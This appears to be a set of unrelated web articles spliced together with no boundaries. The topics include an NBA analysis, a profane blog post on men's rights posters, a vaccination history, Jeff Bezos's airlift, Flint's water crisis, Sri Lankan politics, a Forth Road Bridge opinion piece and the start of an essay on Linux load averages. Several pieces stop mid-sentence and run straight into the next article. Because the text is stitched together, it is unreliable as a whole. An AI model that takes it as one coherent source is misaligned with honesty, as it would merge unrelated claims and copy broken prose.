A Westbrook defensive rebound eliminates at least one pass and, in cases where possession is guaranteed, perhaps gives the Thunder big men a running start. It puts Oklahoma City in position to generate additional offensive transitions. It has enough potential upside to make the idea worth trying, so you can understand why Billy Donovan might, in Young’s words, “push for” it. Here’s a case where Westbrook’s distinctively aggressive play can be leveraged to advance team concepts.
In sum, although triple-doubles represent individual triumphs, they’re shaped by dynamics within a group setting. These dynamics often manifest themselves in how statistical credit is allocated when multiple people contribute to an outcome. But they can also stem from a deliberate strategy to exploit a competitive edge. If you have a player of Westbrook’s caliber, you unleash his talents in support of team principles.
Editor’s Note: This phenomenon was also covered in detail on NBA Reddit.Posters compare so-called “men’s rights” movement to other marginalized groups
Several posters advertising men’s rights have arrived in Saskatoon this past week.
The arrival of the posters, which are dated “July 8, 2013”, mirror the ‘Don’t Be That Girl’ poster campaign that recently sparked outrage in Edmonton.
You can read about that at a variety of news sources, including CBC and The Huffington Post and our buds at The Albatross.
However, the posters that are being put up in Saskatoon aren’t the same as those in Edmonton, which parody an anti-rape campaign.
At the risk of editorializing, let me say this: ugh.
Actually, fuck it, I am going to editorialize.
Seriously, ugh.
The posters advertise slogans such as “Feminism = Male Disposability” and “Men’s Rights are Human Rights” while comparing the so-called men’s movement to other marginalized groups such as “African Americans”, “Jews”, “gays and lesbians” and “women”.
The posters are affiliated with the website Avoiceformen.com, who state that one of their missions is “To educate men and boys about the threats they face in feminist governance and to promote an end to that governance.”
Barf. Puke.
Check out the reaction on the Saskatoon posters below:
[View the story “\”Men’s Rights\” arrive in #yxe” on Storify]
This certainly isn’t the first time that a men’s rights campaign has popped up in Saskatoon – anyone remember the infamous Promise Keepers religious group that came to town a couple of years ago to flex their very feeble male muscle?
Ugh. Barf. Puke.A History of Vaccination
Posted: September 5, 2014
Narrator : As surprising as it may seem, vaccination began as a type of traditional therapy at least 1,000 years ago.
In India, when a wave of smallpox approached a town, there are tales of people doing something extraordinary—they were lining up to actually buy the disease. The healers, known as Brahmins, would take a cloth and rub the person's upper arm. Then they would scratch the skin, just enough to draw blood. They would then apply dried smallpox scabs, taken from patients who had survived the disease.
Most people would get sick, but recover and from that point on, they were protected. Over 1,000 years ago, the Brahmins had observed one of the basic principles of immunity—that you rarely get infected twice.
Dr. Paul Offit :⨠We've got to give people credit. I mean, they got it right. They knew that there was something going on, that protected you—they just had no idea what it was or why.
Narrator : This early form of inoculation was called "variolation." Some say it originally came from Africa, others believe it began as an ancient form of Chinese medicine, where the powder of dried smallpox scabs was blown up the nose.
Dr. Peter Fisher :⨠We know that as early as 1000 AD, the Chinese were using variolation, using smallpox to prevent smallpox. And they were using some very advanced techniques actually what we would now call, you know, techniques you could recognize in modern virology.
Narrator : Importantly, they always used a weakened form of the disease.
Fisher :⨠They would select out the mild cases. And they would collect the lymph and put it in a vial and let it dry out and carry it in their pockets for two or three weeks, so you got at least a semi-killed vaccine. The viruses were, if not dead, certainly moribund.
Narrator : From the Brahmins in India, we fast-forward around 700 years to Europe, where over 400,000 people were dying from smallpox every year.
An English mother, Lady Mary Wortley Montagu, had only just survived smallpox and she desperately wanted to protect her children. Whilst in Constantinople, she wrote of seeing a practice unheard of in English medicine.
Voiceover : The old woman comes with a nutshell full of the best sort of small pox and asks what vein you please to have opened. She immediately rips open that you offer to her, which gives you no more pain than a common scratch and puts into the vein as much matter as can lie upon the head of her needle.
Narrator : Like the Brahmins, the local women practiced a form of folk medicine, handed down through generations.
Voiceover : The children play together all the rest of the day. Then the fever begins to seize them, and they keep their beds two days, very seldom three. And in eight days time, they are as well as before their illness.
Narrrator : Lady Mary inoculated her own son, providing him with something remarkable—immunity.
Offit : People knew that if you fought a particular disease and you survived it and you were immune for the rest of your life, that was a good thing. So people tried to figure out how can they essentially simulate that infection without really causing suffering and death, but still inducing the immunity that comes from that.
Narrator : Lady Mary brought the technique back to England, where it was widely accepted. They didn't understand why it worked, and it was never risk-free. But the death rate with wild smallpox was around 30%. With variolation, it dropped to 2%.
Fast forward another 70 years to an English doctor called Edward Jenner, who took the next vital step. He proved that deliberate infection with a mild, non-fatal disease—called cowpox—would protect against smallpox. He called his technique "vaccination," from vacca, Latin for cow.
Fisher :⨠The one thing that Jenner discovered was that vaccinia, or cowpox, which is generally a very mild disease in humans cross reacts—it prevents smallpox. It was his only discovery, an important discovery, but people think that he invented the whole idea, which he didn't.Amazon.com founder Jeff Bezos was airlifted from a cruise ship by the Ecuadorean Navy after suffering a kidney stone attack in the Galapagos Islands on New Year’s Day.
“Galapagos: five stars. Kidney stones: zero stars,” Bezos said in an e-mail provided by Amazon in response to a Reuters request for comment.
Ecuador’s navy said Bezos was aboard a ship traveling between the islands of Floreana and Santa Cruz, both famed for their wildlife, when the attack struck in the mid-afternoon.
A navy helicopter met the ship at Santa Cruz and flew him about 20 miles to his private jet on nearby Baltra island. From there, Bezos was flown to the United States for “emergency surgery”, the navy said in a statement.
“He had to be attended to in the shortest possible time,” the statement said. The Galapagos lie about 600 miles west off the Ecuadorean coast.
Juan Carlos Ibarra, a lieutenant with the navy’s air force, was the helicopter pilot who flew the airlift.
“They informed us when the ship was arriving in Academy Bay at Santa Cruz island,” Ibarra told Reuters by telephone.
“We landed our helicopter on a football pitch there … they told us that a doctor had already gone in boat to treat him onboard the yacht … They stabilized him and took him to the United States. He was conscious, but he was on a drip.”
The navy said in its statement that Ibarra, as well as the helicopter co-pilot and flight engineer, had received messages of thanks from the relatives and associates of Bezos, whom it described as “such a prestigious, world famous businessman”.
Galapagos National Park draws many wealthy and famous visitors among the roughly 180,000 tourists who visit every year to gape at the archipelago’s rich but fragile biodiversity.
Bezos, 49, is the 19th richest person in the world, according to Forbes magazine, with a fortune of $25 billion.
Since founding Amazon in his own garage near Seattle in 1994, Bezos has built the online bookseller into the world’s largest internet retailer, a consumer electronics giant with its Kindle e-reader and is pioneering ‘cloud’, or internet-based computing.
Last year Bezos made a splash when he bought the Washington Post for $250 million.
(Additional reporting by Yury Garcia in Guayaquil; Writing by Daniel Wallis; Editing by Diane Craft)The Art of Engineering by David Kirkham
This book documents the project build from beginning to end. It wasn't until after the book was printed that there was any real thought to distributing it in any fashion beyond a few copies for those intimately involved in the project and a few close friends. As people have begun to see copies of the book, we've had requests to sell the billet aluminum bound book. The billet bound book is available on an extremely limited basis for $4,500 per copy. This is the ultimate hardcover book. To make the machined aluminum binding requires more than 35 pounds of aluminum plate and over 30 hours of CNC mill time for each book. Every page is printed on premium 12" x 12" cover stock. For the story of the creation of the billet aluminum bound book, see chapter 22.
People have asked for a more affordable alternative. We are looking into the possibility of publishing a standard hardback version. Meanwhile, a free download is available above.
copyright ©1995-2014 Kirkham Mortorsports, Inc. all rights reservedThe latest fiscal quarter saw a very significant drop in Windows Phone revenues, which was enough for people to start guessing that the platform was going to die soon. However, some new statistics suggest that things are still positive for the Microsoft mobile OS. Data released by comScore gives us the January 2016 market share figures, and comparing it with the October 2015 figures, it comes to light that the number of smartphone subscribers using Windows Phone remains the same very close to 3%.
As of now, the market share of Windows Phone in the US is currently at 2.7%, and this was the same in October 2015. iOS and Android displayed similar performance, with the former growing by 0.3% to 43.6% and the latter coming down by 0.1% to 52.8%. However, the bit that’s worrying the market share of Windows Phone is that a lot of popular smartphone apps are still not available for the OS, which is a big turn off for potential buyers.
comScore said that YouTube, Facebook, Facebook Messenger, and a lot of other Google apps top the list in the US, yet many of these apps are not officially available on Windows Phone. It is possible that many of those apps might not reach the OS at all, as Google has already made it clear that it has no intention of creating Windows Phone versions of its popular apps. We were initially of the impression that the arrival of Windows 10 Mobile might change Google’s decisions, but nothing seems to be changing.
Let’s see whether Windows 10 Mobile is able to keep the OS from going extinct.WHAT'S THIS ABOUT? Have you ever wondered what kickstarting a board game is REALLY like? Boom or Doom is the documentary that follows the zany adventure of Sean and Alan (that's us) as they attempt to use Kickstarter to "kickstart" their upcoming party game Two Rooms and a Boom. This film will transparently reveal our experience with the Kickstarter process, all the way from game design to fulfilling orders at retail stores. Watch us ask professionals for advice, negotiate with manufacturers, hire artists, and wrestle with shipping.
Filming Boom or Doom has already begun. We are interviewing experts in the industry, conversing with previous Kickstarters, and are working towards a 90 minute documentary that focuses on all the necessary steps on getting a tabletop game published. This film will be released in 2014, and will be broadcast online for free.
HONESTY TIME. Sean and Alan just started a tabletop game company called Tuesday Knight Games. But by trade, Alan is a college professor and Sean is a professional video editor and graphic designer. At heart, we're both geeky dudes that occasionally swear. We are filming our efforts to kickstart our gaming dreams. We're totally not afraid of hard work and we're doing our research. We want to learn exactly what it takes to have a successful Kickstarter campaign, and we want to share our experience with the world, for free!
We have worked on several creative projects, both professional and for fun. Check out some of our previous work (Alan usually does the acting, Sean usually does the editing):
-Agents of SMERSH: Swagman's Hope kickstarter video!
-Mage Wars tutorial videos
-Teach My Wife Fox and Chicken
-Teach My Wife Zombie House Blitz
-Alan actually proposed to his wife using their favorite game Ascension
-Alan's inappropriate webcomics (NSFW!)
ASK YOURSELF...
-Are you thinking of using Kickstarter?
-Are you an aspiring (or established) game designer?
-Do you like game conventions?
-Are you a geek in any shape, way, or form?
-Do you like documentaries?
-Do you ever root for the underdogs?
-Do you like action, drama, and comedy?
-Do you breathe?
If you answered yes to any of the above questions, please consider pledging and help us make this documentary come true. Follow Sean and Alan through our efforts to use Kickstarter. Tell your friends that you helped Kickstart a film about using Kickstarter on Kickstarter. Be a part of awesome.
MONEY TALK TIME.
Most of the money will go towards helping us with production costs (graphics, editing software, etc.). Currently, we are only filming on an iPhone and an out of production Flip video camera (without motion stabilization). Your pledge will help us upgrade our equipment and purchase a hard drive to safely store all of our footage. Our project also involves costly printing, which includes the full color advertisements for our PRODUCT PLACEMENT pledge level. PROTIP: 10% of all funds raised on all Kickstarter campaigns go to Kickstarter and Amazon (that's how they do this magic).
We have a modest initial target of $2,200. From that point, extra money will lead to "Stretch Goals." In Kickstarter lingo, that's the extra money raised above the target $2,200 that funds the overall project. Any extra cash we earn will also go towards spicing up the quality of the documentary by purchasing better editing software, gear, and even hiring professional artist to truly beautify our film. We are especially excited because we met our Jay Tholen STRETCH GOAL!!!! Jay is a talented dude that is going to orchestrate some great music for our film, truly turning our documentary into a work of art! However, Jay is also an amazing animator, and we have a stretch goal to hire him to do some great cut-scenes for the film. Check out his stuff here: https://www.youtube.com/user/GaspyConana/
INTERVIEWS, PREVIEWS, and MORE!
We promise to keep you informed of all the people with whom we've secured interviews (Tom Vasel, Michael Mindes, James Mathe, and more!), shot lists, t-shirt details, and other valuable info. Check out our updates to learn more! Not only that, but you can track our progress with this kickstarter by following our Kicktraq!“Is their job to meet federal requirements or is their job to keep residents safe?”
Last year, when Flint, Michigan, asked its residents to help test the city’s water, officials made a number of basic errors. Residents were asked to flush the water out of their tap before collecting a sample, which potentially washed away many of the contaminants that may have collected in the pipes. Flint homeowners were also given narrow-neck bottles that they had to fill using a smaller stream of water than the full stream used when, say, filling a glass of drinking water. This in turn meant fewer contaminants rushing through the pipes.
These seemingly minor data-collection mistakes attest to the more widespread negligence on the part of city and state officials. Now, we are beginning to understand the ramifications. Not long after the city switched from Lake Huron to the Flint River as its main water supply, residents began to complain about the taste and smell of the water; they also began to experience troubling health problems. Michigan officials, however, expressed skepticism about the “data” collected by health researchers in Flint. We know now that the polluted Flint River water was not only causing health problems on its own, but it was also corroding the city’s antiquated pipes, leaching lead into the residents’ taps.
On this week’s episode of our podcast What’s The Point, FiveThirtyEight’s Anna Maria Barry-Jester traces the data trail in Flint, from poor sample collection to officials’ skepticism about basic water and health science. She also discusses how it was residents armed with their own amateur research who made the biggest strides in uncovering the troubling health patterns.
To listen, stream or download the full episode above. Below, find a transcript of interview highlights. And be sure to read Anna’s full piece on the Flint water crisis.
A broken standard
Jody Avirgan: You do a good job in your piece of highlighting the fact that the laws probably need to change and be more rigorous, but even under the low bar that the laws create right now, there’s a pretty heavy data trail about the quality of Flint’s water. Anna Maria Barry-Jester: If you have so many residents testing with such high lead levels, the residents really felt like, “Well, why didn’t they tell us that? Why didn’t they warn us so that we could either be flushing our systems — just running the tap for a few minutes before using it — or drinking bottled water, trying to minimize the exposure?” Avirgan: So, why didn’t they tell them? Barry-Jester: What [officials] said over and over again was that they were meeting the federal requirements.
Piecing together a timeline
Avirgan: There were some real problems with the way that this data was collected and moved up the chain, but nevertheless, even the flawed data showed real problems. So, whose desk did that data land on and what did they do with it? Or not do with it? Barry-Jester: There’s a researcher (Marc Edwards) who ultimately came in and found that there was a problem with lead in the water. He had been through this experience before in Washington, D.C., so the first thing he did when he got involved was to use the Freedom of Information Act and dig up hundreds of pages of emails trying to understand who knew what, and when. It’s still a little bit unclear, but by February or April of 2015 at least the Department of Environmental Quality, and definitely the EPA at some point, knew that they were finding samples with very high lead contents. Things that probably should have triggered some sort of curiosity to understand what was going on rather than saying, “We’re meeting the regulatory requirements.”
Lessons from Flint
Avirgan: As someone who writes about health policy, are there next steps that we can learn from Flint, things that we need to be aware of in our relationship with science, regulation and health that resonate with other communities and other issues? Barry-Jester: One is that when there’s a community telling you that something’s wrong, we need to pay attention. I know that sounds super obvious, but we don’t. And sometimes it’s not the most obvious explanation, or you are vaguely trying to keep tabs on what is happening and you don’t see that there is a problem. But if people are telling you that there’s a real problem in their community, I really think we need to do a better job of listening to them. The other thing is that most people in the U.S. would assume that we regulate water to keep it safe. And we do, but it’s not quite to the degree to which some people might imagine. Ten percent of homes can have elevated lead readings [under federal guidelines]. Those 10 percent really need to know that, right? The EPA is looking to reevaluate the Lead and Copper Rule, and there are some concerns that the revisions could make it even weaker. They’re expected to release that to the public in 2017 for comment, and I think people should pay attention. There are consumers and residents involved with that who have real concerns with the way that law is being revised, and we should try not to forget about what happened in Flint when that revision comes up.
If you’re a fan of What’s The Point, subscribe on Apple Podcasts, and please leave a rating/review — that helps spread the word to other listeners. And be sure to check out our sports show Hot Takedown as well. Have something to say about this episode, or have an idea for a future show? Get in touch by email, on Twitter, or in the comments.
What’s The Point’s music was composed by Hrishikesh Hirway, host of the “Song Exploder” podcast. Download our theme music.The native of Lviv in western Ukraine who worked as a medic during the 2014 Maidan revolution that helped topple pro-Moscow Ukrainian President Viktor Yanukovych said the charges are a fabrication, and an attempt to force him into incriminating himself as a saboteur.
Yatsenko was lucky. He and his business partner were the only two of at least 11 Ukrainians held in Russian custody to get away with short sentences, and returned home in May. Rights activists and lawyers said the cases against Ukrainians are part of a smear campaign aimed at destroying Kiev’s image worldwide by saying it is involved in terrorism and murders.
Moscow says the detained Ukrainians — ranging from army officers to shepherds and filmmakers — are terrorists and war criminals. Six have already been convicted; the others are awaiting trial.
Neither the KGB’s successor the FSB — Yatsenko’s alleged abusers — nor the Investigative Committee, which prosecuted or is prosecuting all 11 cases, returned repeated requests for comment on this story. Both agencies are frequently accused of abuse and fabricating political cases.
Kiev is locked in a standoff with Russia, which annexed the Ukrainian Crimea region last year and is accused of supporting a pro-Russian insurgency in the country’s eastern Donbass region.
“They had a massive project to show ‘Ukrainian junta’s’ crimes to the world,” said Sergei Davidis of Moscow-based rights watchdog Memorial, referring to the name Moscow has given the government in Kiev.Spider-Man is apparently going to be scrapping with a UFC fighter in his next movie. Actually, it’s not just any UFC fighter. He’s the new UFC welterweight champion.
Tyron Woodley, who defeated Robbie Lawler for the welterweight belt at UFC 201 on July 30, has been added to the cast of next summer’s Spider-Man: Homecoming. That information comes from none other than Woodley himself. OK, there’s a little bit of speculation here, but the dots are easily connected.
Woodley appeared on The MMA Hour with Ariel Helwani Monday and late in the interview, he mentioned (at the 2:23:00 mark) that he was headed to Atlanta to begin filming a Marvel movie.
“I don’t know if I can even say this, but I’m working on a Marvel movie on Thursday in Atlanta.”
You just said it, Tyron!
When it hits you that you are the best in the world! @UFC #ufc201 pic.twitter.com/emSvAOfoDO — Tyron T-Wood Woodley (@TWooodley) August 2, 2016
Two Marvel movies are currently filming. One is Thor: Ragnarok, but that production is in Australia. The other is Spider-Man: Homecoming, which is being filmed in Atlanta. As Helwani pointed out, Atlanta has been good to the fighter, as that was the site of UFC 201.
Since Woodley probably shouldn’t have mentioned he was appearing in a Marvel movie, there’s no word on what sort of role he’ll be playing. Will he have an actual role in the film, perhaps even with a line or two? Or will he do stunt work? Woodley did stunts in Olympus Has Fallen, as well as Straight Outta Compton and Kickboxer: Vengeance, in which he had acting roles. Here’s hoping that he plays Peter Parker’s high school gym teacher.
Woodley has been busy fielding Hollywood offers since winning his UFC title. He mentioned in the interview that he’s accepted roles in three movies, in addition to considering two others that he might not be |
housed the Charity Baptist Church, but it had fallen into disrepair and became a canvas for graffiti. Over the weekend the building, a forgotten landmark in the city's musical history, was razed.
ART CAR PARADE: Grand marshal announced for 2017
The Bronze Peacock was the culmination of years of entertainment development by Robey, a Fifth Ward native. Robey was a ruthless and wily businessman and gambler, who started opening night clubs in his neighborhood in the 1930s. In February 1946, he opened the Bronze Peacock, designed to be the finest upscale club in the Fifth Ward. The Peacock was a bustling destination in post-War Houston and quickly became the city's prime hub for live music on the chitlin' circuit, where top-tier black entertainers would perform.
Country singer Johnny Bush recalled the sounds of the club would resonate beyond its walls into the streets of the neighborhood. "I'd walk out to the street and just listen," he told the Chronicle. "The music, the sounds were something else. It seemed almost like a dream."
Robey's interests were grander than a single club, though. He wanted to build a music empire in Houston, as he realized the financial possibilities in music publishing and recordings. Billy Gibbons of ZZ Top called him "a mover and shaker on the Houston blues, gospel and R&B scene."
Robey started Peacock Records, one of the first, if not the first, music business run by a black man in the States. Eventually that empire grew too large for its office on Lyons, so in 1953 Robey converted his club into a recording studio and office for his new venture. That year he bought the Memphis-based Duke Records, and began releasing music on the Duke and Peacock labels by artists like Bobby "Blue" Bland, Junior Parker, Willie Mae "Big Mama" Thornton, Johnny Ace, Clarence "Gatemouth" Brown, the Bells of Joy and numerous others.
He courted the city's deep pool of music talent including the writer Joe Medwick and the brilliant producer and arranger Joe Scott. Though Robey's musical aptitude has been described as marginal or non-existent, he managed to grease his name (or one of his pen names) onto scores of recordings so he'd get a cut of the publishing. His business acumen was brass-knuckled, which created both loyalty and animosity.
And he ran the entire operation out of 2809 Erastus, with inestimable input from business manager Evelyn Johnson, who also ran his Buffalo Booking Agency.
By the 1970s the industry had changed such that Robey's corner had been reduced significantly. He sold what was left of his music business holdings in 1973. Two years later, he died.
Read Full ArticleJohnny Castaway is a screensaver released in 1992 by Sierra On-Line/Dynamix, and marketed under the Screen Antics brand as "the world's first story-telling screen saver".
The screensaver depicts a man, Johnny Castaway, stranded on a very small island with a single palm tree. It follows a story which is slowly revealed through time. It takes many days to catch on to the story. While Johnny fishes, builds sand castles, and jogs on a regular basis, other events are seen less frequently, such as a mermaid or Lilliputian pirates coming to the island, or a seagull swooping down to steal his shorts while he is bathing. Much like the castaways of Gilligan's Island, Johnny repeatedly comes close to being rescued, but ultimately remains on the island as a result of various unfortunate accidents.[6]
"Johnny Castaway" includes Easter eggs for a number of United States holidays such as Halloween, Christmas and Independence Day. During these holidays, the scenes are played out as usual except for some detail representing that holiday or event. During the last week of the year, for example, the palm tree will sport a "Happy New Year" banner, and on Halloween a jack-o'-lantern can be seen in the sand. The screensaver can be manipulated into showing these features by adjusting the computer clock to correspond with the date of the event.
The Johnny Castaway screensaver was distributed on a 3½-inch floppy disk and required a computer with a 386SX processor and Windows 3.1 as its operating system. Today, it is widely available on the internet, but as it relies on outdated 16-bit software components, it will only work on 32-bit versions of the Microsoft Windows operating system, which still support 16-bit applications, although workarounds exist for getting the screensaver to run on Windows 64-bit, Mac OS X and Linux.[7]
Character design was done by Shawn Bird while he was at Dynamix. The program had been developed at Jeff Tunnell Productions, the eponymous company of the original founder of Dynamix.[8] According to Ken Williams, the screensaver was one of several products by Dynamix that were not costly to create and yet very profitable, like The Incredible Machine and Hoyle Card Games, also published by Sierra.[9]
Reception [ edit ]
Computer Gaming World called Johnny Castaway "a great launch" for the Screen Antics series, concluding that "Fans of Johnny Hart-style comics and sight gag lovers everywhere should love it".[6]Maintaining the crossing is down to Holyrood, not Westminster so the SNP have only themselves to blame, writes Brian Monteith
It has been a common refrain over the past year or two that in order to focus on winning support for a Yes vote in the first referendum our SNP government has neglected its own responsibilities to a degree bordering on recklessness. Then, not content with abdicating its duties that it has unequivocal responsibility for, as laid out in the various Scotland Acts, it has continued to contest that any wrongdoing or shortcomings of its own are the fault of Westminster in general and the Tory government in particular.
This continued priority towards campaigning rather than administering is clearly intended to build up further grievances so that demands for a second referendum remain simmering until they can be brought to the boil.
The attacks by opposition politicians have not been without justification for the evidence of failure by the Scottish Government is clear, consistent and gathering by the day.
In the execution of policy, be it education; where English pupil attainment has improved at a greater rate than that of Scottish pupils and has now marched ahead of Scotland’s for a number of years – or healthcare; where cancer clear-up rates and other measures of clinical performance show Scotland being outperformed by England’s NHS – or other examples of public services where the Scottish Parliament has control over budget setting, spending and policy decisions – the SNP record is both scandalous and embarrassing.
Before we hear the excuse that it is all down to “Westminster cuts” or “Tory Austerity” let us recall that the SNP government underspend of public funds was £347 million in the last financial year 2014-15 – including an underspend in the Transport department and a £140m underspend in the capital budget used for infrastructure. In the year before that the SNP underspend was £444m for 2013-14, these and other previous underspends suggesting that had ministers kept their eye on the ball they could have made spending decisions to fit the country’s needs – such as repairing the failing Forth Road Bridge.
The preoccupation of SNP ministers and their cheerleaders for blaming Whitehall, the current Prime Minister and his Chancellor has meant that they are at their desks attending to their official papers far less than they ought to. Instead they can be seen attending at taxpayers’ expense photo-shoots and conferences which offer platforms for party-political advantage but deliver no added value to their ministerial responsibilities.
Thus far the SNP’s failure to meet many of its own targets or deliver so few of its own promises has been forgiven by a Scottish electorate that would far rather punish the Labour, Conservative and Liberal Democrat parties for sins of the past. Might that be about to change? Could the debacle of the Forth Road Bridge closure at last expose the gross negligence of the SNP government and turn some of the electorate against the SNP?
A better example of the SNP’s bizarre sense of priorities could not be more transparent than First Minister Nicola Sturgeon travelling to Paris today to attend the United Nations climate change conference with all the self-importance of a head of state of a sovereign independent nation – while the closure of the Forth Road Bridge lands the most severe blow to the Scottish economy of recent times. No matter how much Nicola Sturgeon might claim she is able to reduce Scottish carbon emissions it will be as nothing compared to the increase that her government’s failure will generate by the additional and longer road and rail journeys that will belch out copious fumes over the months to come.
Already claims and counter-claims are being made as to how the closure of the bridge has come about, but two things are certain and neither of them absolve the SNP. The first is that the Forth Road Bridge is the sole responsibility of the Scottish Government that has been in power since 2007 and which received a report in 2009 detailing the structural faults that required maintenance.
These were costed at £10m but were then shelved indefinitely. Whatever the reason for the delay in attending to the impending failure of the bridge it is not good enough to pass the blame on to the government’s agency, Transport Scotland.
It is for government ministers to hold these arms of government to account and the SNP ministers of transport over that time, Stewart Stevenson, Keith Brown, and now Derek Mackay, together with their first ministers to whom they reported, Messrs Salmond and Sturgeon, all have questions to answer.
They are quick enough to take the acclaim when Transport Scotland opens a railway line for the government – so they should face up to their responsibilities when dangerous and costly misjudgments are made. The second difficulty for ministers is that it was the SNP which introduced the abolition of the tolls on the Forth Road Bridge and was made aware of the impact on public finances when it passed the legislation to do so.
The Forth Road Bridge tolls generated an annual income of £12m that could have gone towards the maintenance of the bridge. This was an important consideration, some £60m has been foregone over the past five years that could have gone towards contracts of £10m to replace those bearings and joints as well as the suspended span painting costing £65m. Blaming Westminster’s austerity economics will not wash when such key decisions are made in Edinburgh.
John Swinney sets the Scottish budgets and it is a false economy to delay bridge maintenance when it can lead to severe dislocation of the economy – expected to cost £27m a month – that is bound to impact on economic growth and consequently jobs, earnings and public revenues. Notwithstanding the sheer logic of maintaining possibly the most important short section of public highway in Scotland during a period of embarrassing public finance underspends there is the strong possibility that there will now be compensation claims from businesses that will amount to tens of millions.
The credibility of the SNP government must be severely tested by its failure to meet its responsibilities for the Forth Road Bridge, and if the structure stays closed for longer than the end of the year – and one bridge engineer is predicting at least three months – for the public affected in Fife and the Lothians SNP incompetence and indifference must surely be a bridge too far.Sri Lanka's main Muslim party has quit the government and pledged support to the opposition in a move seen as the biggest setback yet to President Mahinda Rajapaksa's re-election bid.
The Sri Lankan Muslim Congress leader, Rauf Hakeem, also announced his own resignation as justice minister and said he would now work for the victory of Maithripala Sirisena, the opposition candidate, in the January 8 election.
Hakeem said they left the government because of widening rifts over a 2010 law that lifted the two-term limit on the presidency and gave Rajapaksa wide powers over the police, the judiciary and the civil service.
"Good governance is the main issue for us," Hakeem told reporters. "We are guilty of compliance [in voting for the 2010 statute], but now we want to redress the situation."
'Religious intolerance'
Ameer Faaiz, a leading member of the party that represents minority Muslims in predominantly Buddhist country, cited the Rajapaksa administration's "intolerance toward religious minorities" and disagreement with his style of rule.
Rajapaksa's government had come under heavy criticism in recent years for backing extremist Buddhist groups and turning a blind eye on the recent anti-Muslim violence.
There was no immediate comment from the government on the resignations, but a ruling party source told the AFP news agency that the defection of the Muslim party was the biggest blow to their campaign.
Muslims, the second largest minority in the island after Hindu Tamils, account for about 10 percent of the electorate and could emerge as king-makers in January's presidential election if the majority Sinhalese are split down the middle.
Both Rajapaksa and Sirisena are members of the majority Sinhala Buddhist community.
Hakeem has become the second Muslim minister to quit Rajapaksa's government after industry and commerce minister Rishad Bathiudeen resigned.
Sirisena himself defected to the opposition last month after giving up his portfolio as minister of health.Load averages are an industry-critical metric – my company spends millions auto-scaling cloud instances based on them and other metrics – but on Linux there's some mystery around them. Linux load averages track not just runnable tasks, but also tasks in the uninterruptible sleep state. Why? I've never seen an explanation. In this post I'll solve this mystery, and summarize load averages as a reference for everyone trying to interpret them.
Linux load averages are "system load averages" that show the running thread (task) demand on the system as an average number of running plus waiting threads. This measures demand, which can be greater than what the system is currently processing. Most tools show three averages, for 1, 5, and 15 minutes:
$ uptime 16:48:24 up 4:11, 1 user, load average: 25.25, 23.40, 23.46 top - 16:48:42 up 4:12, 1 user, load average: 25.25, 23.14, 23.37 $ cat /proc/loadavg 25.72 23.19 23.35 42/3411 43603
Some interpretations:
If the averages are 0.0, then your system is idle.
If the 1 minute average is higher than the 5 or 15 minute averages, then load is increasing.
If the 1 minute average is lower than the 5 or 15 minute averages, then load is decreasing.
If they are higher than your CPU count, then you might have a performance problem (it depends).
As a set of three, you can tell if load is increasing or decreasing, which is useful. They can be also useful when a single value of demand is desired, such as for a cloud auto scaling rule. But to understand them in more detail is difficult without the aid of other metrics. A single value of 23 - 25, by itself, doesn't mean anything, but might mean something if the CPU count is known, and if it's known to be a CPU-bound workload.
Instead of trying to debug load averages, I usually switch to other metrics. I'll discuss these in the "Better Metrics" section near the end.
History
The original load averages show only CPU demand: the number of processes running plus those waiting to run. There's a nice description of this in RFC 546 titled "TENEX Load Averages", August 1973:
[1] The TENEX load average is a measure of CPU demand. The load average is an average of the number of runnable processes over a given time period. For example, an hourly load average of 10 would mean that (for a single CPU system) at any time during that hour one could expect to see 1 process running and 9 others ready to run (i.e., not blocked for I/O) waiting for the CPU.
The version of this on ietf.org links to a PDF scan of a hand drawn load average graph from July 1973, showing that this has been monitored for decades:
Nowadays, the source code to old operating systems can also be found online. Here's an except of DEC macro assembly from TENEX (early 1970's) SCHED.MAC:
NRJAVS==3 ;NUMBER OF LOAD AVERAGES WE MAINTAIN GS RJAV,NRJAVS ;EXPONENTIAL AVERAGES OF NUMBER OF ACTIVE PROCESSES [...] ;UPDATE RUNNABLE JOB AVERAGES DORJAV: MOVEI 2,^D5000 MOVEM 2,RJATIM ;SET TIME OF NEXT UPDATE MOVE 4,RJTSUM ;CURRENT INTEGRAL OF NBPROC+NGPROC SUBM 4,RJAVS1 ;DIFFERENCE FROM LAST UPDATE EXCH 4,RJAVS1 FSC 4,233 ;FLOAT IT FDVR 4,[5000.0] ;AVERAGE OVER LAST 5000 MS [...] ;TABLE OF EXP(-T/C) FOR T = 5 SEC. EXPFF: EXP 0.920043902 ;C = 1 MIN EXP 0.983471344 ;C = 5 MIN EXP 0.994459811 ;C = 15 MIN
And here's an excerpt from Linux today (include/linux/sched/loadavg.h):
#define EXP_1 1884 /* 1/exp(5sec/1min) as fixed-point */ #define EXP_5 2014 /* 1/exp(5sec/5min) */ #define EXP_15 2037 /* 1/exp(5sec/15min) */
Linux is also hard coding the 1, 5, and 15 minute constants.
There have been similar load average metrics in older systems, including Multics, which had an exponential scheduling queue average.
The Three Numbers
These three numbers are the 1, 5, and 15 minute load averages. Except they aren't really averages, and they aren't 1, 5, and 15 minutes. As can be seen in the source above, 1, 5, and 15 minutes are constants used in an equation, which calculate exponentially-damped moving sums of a five second average. The resulting 1, 5, and 15 minute load averages reflect load well beyond 1, 5, and 15 minutes.
If you take an idle system, then begin a single-threaded CPU-bound workload (one thread in a loop), what would the one minute load average be after 60 seconds? If it was a plain average, it would be 1.0. Here is that experiment, graphed:
Load average experiment to visualize exponential damping
The so-called "one minute average" only reaches about 0.62 by the one minute mark. For more on the equation and similar experiments, Dr. Neil Gunther has written an article on load averages: How It Works, plus there are many Linux source block comments in loadavg.c.
Linux Uninterruptible Tasks
When load averages first appeared in Linux, they reflected CPU demand, as with other operating systems. But later on Linux changed them to include not only runnable tasks, but also tasks in the uninterruptible state (TASK_UNINTERRUPTIBLE or nr_uninterruptible). This state is used by code paths that want to avoid interruptions by signals, which includes tasks blocked on disk I/O and some locks. You may have seen this state before: it shows up as the "D" state in the output ps and top. The ps(1) man page calls it "uninterruptible sleep (usually IO)".
Adding the uninterruptible state means that Linux load averages can increase due to a disk (or NFS) I/O workload, not just CPU demand. For everyone familiar with other operating systems and their CPU load averages, including this state is at first deeply confusing.
Why? Why, exactly, did Linux do this?
There are countless articles on load averages, many of which point out the Linux nr_uninterruptible gotcha. But I've seen none that explain or even hazard a guess as to why it's included. My own guess would have been that it's meant to reflect demand in a more general sense, rather than just CPU demand.
Searching for an ancient Linux patch
